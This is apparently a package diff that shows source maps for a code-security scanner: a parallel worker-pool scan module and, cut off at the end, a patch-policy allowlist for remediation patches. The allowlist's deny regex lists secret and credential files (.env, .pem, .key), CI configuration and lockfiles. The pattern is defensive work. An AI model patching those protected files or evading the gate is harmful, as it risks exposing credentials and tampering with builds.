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","sourcesContent":["/**\n * Parallel scanning over a worker-thread pool (P2-1). The scan is embarrassingly\n * parallel: each file is read and regex-scanned independently, and the merge is\n * a concatenation + the existing deterministic sort. `Finding` is plain\n * structured-cloneable data, so it crosses the worker boundary cleanly.\n *\n * The merge and chunking logic are pure and exported for direct unit testing.\n * `scanParallel` falls back to the in-process serial path below the crossover\n * (small file counts / small total bytes) and whenever workers are unavailable.\n */\nimport { stat } from \"node:fs/promises\";\nimport { existsSync } from \"node:fs\";\nimport * as os from \"node:os\";\nimport * as path from \"node:path\";\nimport { fileURLToPath } from \"node:url\";\n\nimport type { Worker as NodeWorker } from \"node:worker_threads\";\n\nimport type { Finding, ParallelScanOptions, ScanResult } from \"./types.js\";\nimport { walkFiles } from \"./walk.js\";\nimport { isAnalyzableSource } from \"./detect-utils.js\";\nimport { buildInventory } from \"./inventory.js\";\nimport { compareFindings, filterExplicitFileList, scan } from \"./scan.js\";\nimport { AbortError, BudgetExceededError } from \"./errors.js\";\nimport { VERSION } from \"./version.js\";\n\n/** One unit of work dispatched to a worker. */\nexport interface ScanChunk {\n files: string[];\n}\n\n/** What a worker returns for a chunk. */\nexport interface ChunkResult {\n findings: Finding[];\n filesScanned: number;\n /** Files that couldn't be read in this chunk (optional; older workers omit it). */\n unreadable?: number;\n /** Files skipped as minified in this chunk (optional; older workers omit it). */\n skippedMinified?: number;\n}\n\nconst DEFAULT_PARALLEL_THRESHOLD_BYTES = 2 * 1024 * 1024;\nconst DEFAULT_PARALLEL_FILE_THRESHOLD = 200;\nconst DEFAULT_CHUNK_BYTES = 4 * 1024 * 1024;\n\n/** A file plus its byte size, used for byte-balanced chunking. */\nexport interface SizedFile {\n rel: string;\n size: number;\n}\n\n/**\n * Bucket files into chunks of roughly `chunkBytes` total bytes each, so one\n * large file doesn't starve a worker holding many tiny files. Pure +\n * deterministic: input order is preserved within and across chunks.\n */\nexport function chunkByBytes(files: readonly SizedFile[], chunkBytes: number): ScanChunk[] {\n const limit = Math.max(1, chunkBytes);\n const chunks: ScanChunk[] = [];\n let current: string[] = [];\n let currentBytes = 0;\n for (const f of files) {\n if (current.length > 0 && currentBytes + f.size > limit) {\n chunks.push({ files: current });\n current = [];\n currentBytes = 0;\n }\n current.push(f.rel);\n currentBytes += f.size;\n }\n if (current.length > 0) chunks.push({ files: current });\n return chunks;\n}\n\n/**\n * Merge per-chunk results into a single ordered finding set + total file count.\n * Pure: applies the SAME comparator as the serial scan, so the result is\n * byte-identical regardless of chunk completion order. Exported for unit tests.\n */\nexport function mergeChunkResults(results: readonly ChunkResult[]): ChunkResult {\n const findings: Finding[] = [];\n let filesScanned = 0;\n let unreadable = 0;\n let skippedMinified = 0;\n for (const r of results) {\n for (const f of r.findings) findings.push(f);\n filesScanned += r.filesScanned;\n unreadable += r.unreadable ?? 0;\n skippedMinified += r.skippedMinified ?? 0;\n }\n findings.sort(compareFindings);\n return { findings, filesScanned, unreadable, skippedMinified };\n}\n\n/** Resolve the worker count (>= 1). */\nfunction resolveConcurrency(options: ParallelScanOptions): number {\n const raw = options.concurrency;\n if (typeof raw === \"number\" && raw >= 1) return Math.floor(raw);\n const avail =\n typeof os.availableParallelism === \"function\" ? os.availableParallelism() : os.cpus().length;\n return Math.max(1, avail);\n}\n\n/** Decide whether the workload is large enough to justify spawning workers. */\nfunction shouldParallelize(options: ParallelScanOptions, files: SizedFile[]): boolean {\n const totalBytes = files.reduce((acc, f) => acc + f.size, 0);\n const byteFloor = options.parallelThresholdBytes ?? DEFAULT_PARALLEL_THRESHOLD_BYTES;\n const fileFloor = options.parallelFileThreshold ?? DEFAULT_PARALLEL_FILE_THRESHOLD;\n if (resolveConcurrency(options) <= 1) return false;\n return totalBytes >= byteFloor && files.length >= fileFloor;\n}\n\n/**\n * Enumerate the files to scan (relative POSIX paths + sizes), honouring an\n * explicit `files` list or the walker. Sizes power byte-balanced chunking.\n */\nasync function enumerateFiles(options: ParallelScanOptions, baseDir: string): Promise<SizedFile[]> {\n const rels: string[] = [];\n if (options.files) {\n // Apply the SAME include/exclude/binary filtering the serial path uses via\n // `filterExplicitFiles`, so `--parallel` is byte-for-byte identical to serial.\n for (const rel of filterExplicitFileList(options.files, options)) rels.push(rel);\n } else {\n for await (const rel of walkFiles(options.root, {\n include: options.include,\n exclude: options.exclude,\n noDefaultIgnores: options.noDefaultIgnores,\n maxFileSize: options.maxFileSize,\n })) {\n rels.push(rel);\n }\n }\n\n const sized: SizedFile[] = [];\n for (const rel of rels) {\n let size = 0;\n try {\n size = (await stat(path.join(baseDir, ...rel.split(\"/\")))).size;\n } catch {\n // Unreadable now; keep with size 0 — worker read will skip if it's gone.\n }\n sized.push({ rel, size });\n }\n return sized;\n}\n\n/**\n * Resolve the worker entry next to this module. In a normal build it's\n * `dist/scan-worker.js`. When running from source under a TypeScript loader\n * (tsx) the built JS doesn't exist, so fall back to `scan-worker.ts` and tell\n * the worker to load tsx as well — so the parallel scanner works in dev/source\n * mode (and is exercisable by tests), not only after a build.\n */\nfunction workerEntry(): { entry: string; execArgv?: string[] } {\n const here = fileURLToPath(import.meta.url);\n const dir = path.dirname(here);\n const js = path.join(dir, \"scan-worker.js\");\n if (existsSync(js)) return { entry: js };\n const ts = path.join(dir, \"scan-worker.ts\");\n if (existsSync(ts)) return { entry: ts, execArgv: [\"--import\", \"tsx\"] };\n return { entry: js }; // neither present: let Worker surface a clear ENOENT\n}\n\n/**\n * Scan in parallel across a worker-thread pool, falling back to the in-process\n * serial {@link scan} for small workloads or when workers can't be used. The\n * result is deterministic and identical to the serial path.\n */\nexport async function scanParallel(options: ParallelScanOptions): Promise<ScanResult> {\n const startedAt = new Date();\n\n const rootStat = await stat(options.root);\n const baseDir = rootStat.isFile() ? path.dirname(options.root) : options.root;\n\n // Single-file roots, the override-detectors path, and the scan cache always\n // run serially: detectors may not be structured-cloneable across the worker\n // boundary, and the cache read/write is owned by the in-process `scan()`.\n if (rootStat.isFile() || options.detectors || options.cacheFile) {\n return scan(options);\n }\n\n const files = await enumerateFiles(options, baseDir);\n\n // Budget + cancellation parity with the serial path. The parallel path\n // enumerates upfront, so budgets are enforced against the whole file set\n // before any worker is dispatched.\n if (options.signal?.aborted) throw new AbortError();\n if (typeof options.maxFiles === \"number\" && files.length > options.maxFiles) {\n throw new BudgetExceededError(`maxFiles budget exceeded (limit: ${options.maxFiles}).`);\n }\n if (typeof options.maxBytes === \"number\") {\n const totalBytes = files.reduce((n, f) => n + f.size, 0);\n if (totalBytes > options.maxBytes) {\n throw new BudgetExceededError(`maxBytes budget exceeded (limit: ${options.maxBytes}).`);\n }\n }\n\n if (!shouldParallelize(options, files)) {\n // In-process: reuse the exact serial path over the same file list.\n return scan({ ...options, files: files.map((f) => f.rel) });\n }\n\n let WorkerCtor: typeof import(\"node:worker_threads\").Worker;\n try {\n ({ Worker: WorkerCtor } = await import(\"node:worker_threads\"));\n } catch {\n return scan({ ...options, files: files.map((f) => f.rel) });\n }\n\n const chunks = chunkByBytes(files, options.chunkBytes ?? DEFAULT_CHUNK_BYTES);\n const concurrency = Math.min(resolveConcurrency(options), chunks.length);\n const { entry, execArgv } = workerEntry();\n\n const toggles = {\n source: options.source !== false,\n config: options.config !== false,\n deps: options.dependencies !== false,\n scanMinified: options.scanMinified === true,\n // Plain string array — structured-cloneable, so it crosses the worker boundary.\n disabledRules: options.disabledRules,\n };\n\n let results: ChunkResult[];\n try {\n results = await runPool(\n WorkerCtor,\n entry,\n execArgv,\n baseDir,\n toggles,\n chunks,\n concurrency,\n options.onFile,\n options.signal,\n );\n } catch (err) {\n // Cancellation / budget overflow must propagate, not silently degrade.\n if (err instanceof AbortError || err instanceof BudgetExceededError) throw err;\n // Any other worker failure → safe fallback to the serial path.\n return scan({ ...options, files: files.map((f) => f.rel) });\n }\n\n const merged = mergeChunkResults(results);\n const inventory = buildInventory(merged.findings);\n const finishedAt = new Date();\n\n // Coverage: count analyzable-source files in the enumerated set. Computed from\n // the file list (not per-worker) to avoid worker-boundary plumbing; on the\n // parallel path this can include a minified analyzable file the workers\n // skipped, but that is vanishingly rare and never under-reports coverage.\n const analyzedFiles = files.reduce((n, f) => (isAnalyzableSource(f.rel) ? n + 1 : n), 0);\n\n return {\n root: options.root,\n findings: merged.findings,\n filesScanned: merged.filesScanned,\n analyzedFiles,\n diagnostics: {\n unreadable: merged.unreadable ?? 0,\n skippedMinified: merged.skippedMinified ?? 0,\n },\n inventory,\n startedAt: startedAt.toISOString(),\n finishedAt: finishedAt.toISOString(),\n toolVersion: VERSION,\n };\n}\n\n/** Worker-pool driver: at most `concurrency` workers, each pulls chunks. */\nfunction runPool(\n WorkerCtor: typeof import(\"node:worker_threads\").Worker,\n entry: string,\n execArgv: string[] | undefined,\n baseDir: string,\n toggles: {\n source: boolean;\n config: boolean;\n deps: boolean;\n scanMinified: boolean;\n disabledRules?: string[];\n },\n chunks: ScanChunk[],\n concurrency: number,\n onFile?: (file: string) => void,\n signal?: AbortSignal,\n): Promise<ChunkResult[]> {\n return new Promise((resolve, reject) => {\n const results: ChunkResult[] = new Array(chunks.length);\n let next = 0;\n let done = 0;\n let failed = false;\n const workers: Array<NodeWorker> = [];\n\n const onAbort = (): void => {\n if (failed) return;\n failed = true;\n cleanup();\n reject(new AbortError());\n };\n\n const cleanup = () => {\n if (signal) signal.removeEventListener(\"abort\", onAbort);\n for (const w of workers) void w.terminate();\n };\n\n // Cooperative cancellation: stop dispatching and tear down on abort.\n if (signal) {\n if (signal.aborted) {\n reject(new AbortError());\n return;\n }\n signal.addEventListener(\"abort\", onAbort, { once: true });\n }\n\n // Workers we intentionally terminate (no more chunks / on cleanup). Their\n // `exit` event is expected and must NOT be treated as a crash.\n const retired = new WeakSet<NodeWorker>();\n\n const dispatch = (w: NodeWorker): void => {\n if (failed) return;\n if (next >= chunks.length) {\n retired.add(w);\n void w.terminate();\n return;\n }\n const idx = next++;\n w.postMessage({ index: idx, files: chunks[idx].files });\n };\n\n const spawn = (): NodeWorker => {\n const w = new WorkerCtor(entry, {\n workerData: { baseDir, toggles },\n ...(execArgv ? { execArgv } : {}),\n });\n w.on(\n \"message\",\n (msg: { index: number; result?: ChunkResult; files?: string[]; error?: string }) => {\n if (msg.error) {\n if (!failed) {\n failed = true;\n cleanup();\n reject(new Error(msg.error));\n }\n return;\n }\n if (msg.files && onFile) for (const f of msg.files) onFile(f);\n if (msg.result) {\n results[msg.index] = msg.result;\n done++;\n if (done === chunks.length) {\n cleanup();\n resolve(results);\n return;\n }\n dispatch(w);\n }\n },\n );\n w.on(\"error\", (err) => {\n if (!failed) {\n failed = true;\n cleanup();\n reject(err);\n }\n });\n // A worker that dies WITHOUT an `error` or `message` (e.g. a `process.exit`\n // in loaded code) would otherwise leave the pool pending forever. Reject so\n // scanParallel falls back to the serial path (audit: arch #5). Expected\n // exits (retired workers, post-completion cleanup) are ignored.\n w.on(\"exit\", (code) => {\n if (failed || retired.has(w) || done === chunks.length) return;\n failed = true;\n cleanup();\n reject(new Error(`scan worker exited early (code ${code}) before completing its chunk`));\n });\n return w;\n };\n\n const n = Math.max(1, Math.min(concurrency, chunks.length));\n for (let i = 0; i < n; i++) {\n const w = spawn();\n workers.push(w);\n dispatch(w);\n }\n });\n}\n"]}
|
package/dist/patch-policy.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"patch-policy.js","sourceRoot":"","sources":["../src/patch-policy.ts"],"names":[],"mappings":"AAiBA;;;GAGG;AACH,MAAM,OAAO,GACX,kLAAkL,CAAC;AAOrL,yDAAyD;AACzD,MAAM,UAAU,gBAAgB,CAAC,KAAY,EAAE,GAAkB;IAC/D,MAAM,CAAC,GAAG,KAAK,CAAC,IAAI,CAAC,OAAO,CAAC,KAAK,EAAE,GAAG,CAAC,CAAC;IACzC,IAAI,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC;QACpB,OAAO,EAAE,OAAO,EAAE,KAAK,EAAE,MAAM,EAAE,mCAAmC,CAAC,GAAG,EAAE,CAAC;IAC7E,CAAC;IACD,IAAI,GAAG,CAAC,YAAY,CAAC,GAAG,CAAC,CAAC,CAAC;QAAE,OAAO,EAAE,OAAO,EAAE,IAAI,EAAE,CAAC;IACtD,IAAI,GAAG,CAAC,aAAa,CAAC,GAAG,CAAC,CAAC,CAAC;QAAE,OAAO,EAAE,OAAO,EAAE,IAAI,EAAE,CAAC;IACvD,OAAO;QACL,OAAO,EAAE,KAAK;QACd,MAAM,EAAE,eAAe,CAAC,yDAAyD;KAClF,CAAC;AACJ,CAAC"}
|
|
1
|
+
{"version":3,"file":"patch-policy.js","sourceRoot":"","sources":["../src/patch-policy.ts"],"names":[],"mappings":"AAiBA;;;GAGG;AACH,MAAM,OAAO,GACX,kLAAkL,CAAC;AAOrL,yDAAyD;AACzD,MAAM,UAAU,gBAAgB,CAAC,KAAY,EAAE,GAAkB;IAC/D,MAAM,CAAC,GAAG,KAAK,CAAC,IAAI,CAAC,OAAO,CAAC,KAAK,EAAE,GAAG,CAAC,CAAC;IACzC,IAAI,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC;QACpB,OAAO,EAAE,OAAO,EAAE,KAAK,EAAE,MAAM,EAAE,mCAAmC,CAAC,GAAG,EAAE,CAAC;IAC7E,CAAC;IACD,IAAI,GAAG,CAAC,YAAY,CAAC,GAAG,CAAC,CAAC,CAAC;QAAE,OAAO,EAAE,OAAO,EAAE,IAAI,EAAE,CAAC;IACtD,IAAI,GAAG,CAAC,aAAa,CAAC,GAAG,CAAC,CAAC,CAAC;QAAE,OAAO,EAAE,OAAO,EAAE,IAAI,EAAE,CAAC;IACvD,OAAO;QACL,OAAO,EAAE,KAAK;QACd,MAAM,EAAE,eAAe,CAAC,yDAAyD;KAClF,CAAC;AACJ,CAAC","sourcesContent":["/**\n * Patch-policy allowlist. A remediation patch may only edit a file that already\n * has a finding, or add dependencies to a manifest. Everything else — CI config,\n * lockfiles, env/secret files, unrelated source — is denied. This is the second\n * safety gate (the first is `verify_fix`): even a \"verified\" patch is dropped if\n * it strays outside the sanctioned surface.\n */\nimport type { Patch } from \"./agent-types.js\";\n\n/** Files a remediation may write to. */\nexport interface PolicyContext {\n /** Relative paths (posix) that contain at least one finding. */\n findingFiles: Set<string>;\n /** Relative manifest paths (package.json, requirements.txt, …). */\n manifestFiles: Set<string>;\n}\n\n/**\n * Paths a patch may NEVER touch, regardless of anything else: version control,\n * CI, dependency lockfiles, and anything that looks like a secret/env file.\n */\nconst DENY_RE =\n /(^|\\/)(\\.github|\\.git|node_modules)\\/|(^|\\/)(package-lock\\.json|yarn\\.lock|pnpm-lock\\.yaml|Cargo\\.lock|Gemfile\\.lock|poetry\\.lock)$|(^|\\/)\\.env(\\.[^/]*)?$|\\.(pem|key|p12|pfx)$/i;\n\nexport interface PolicyDecision 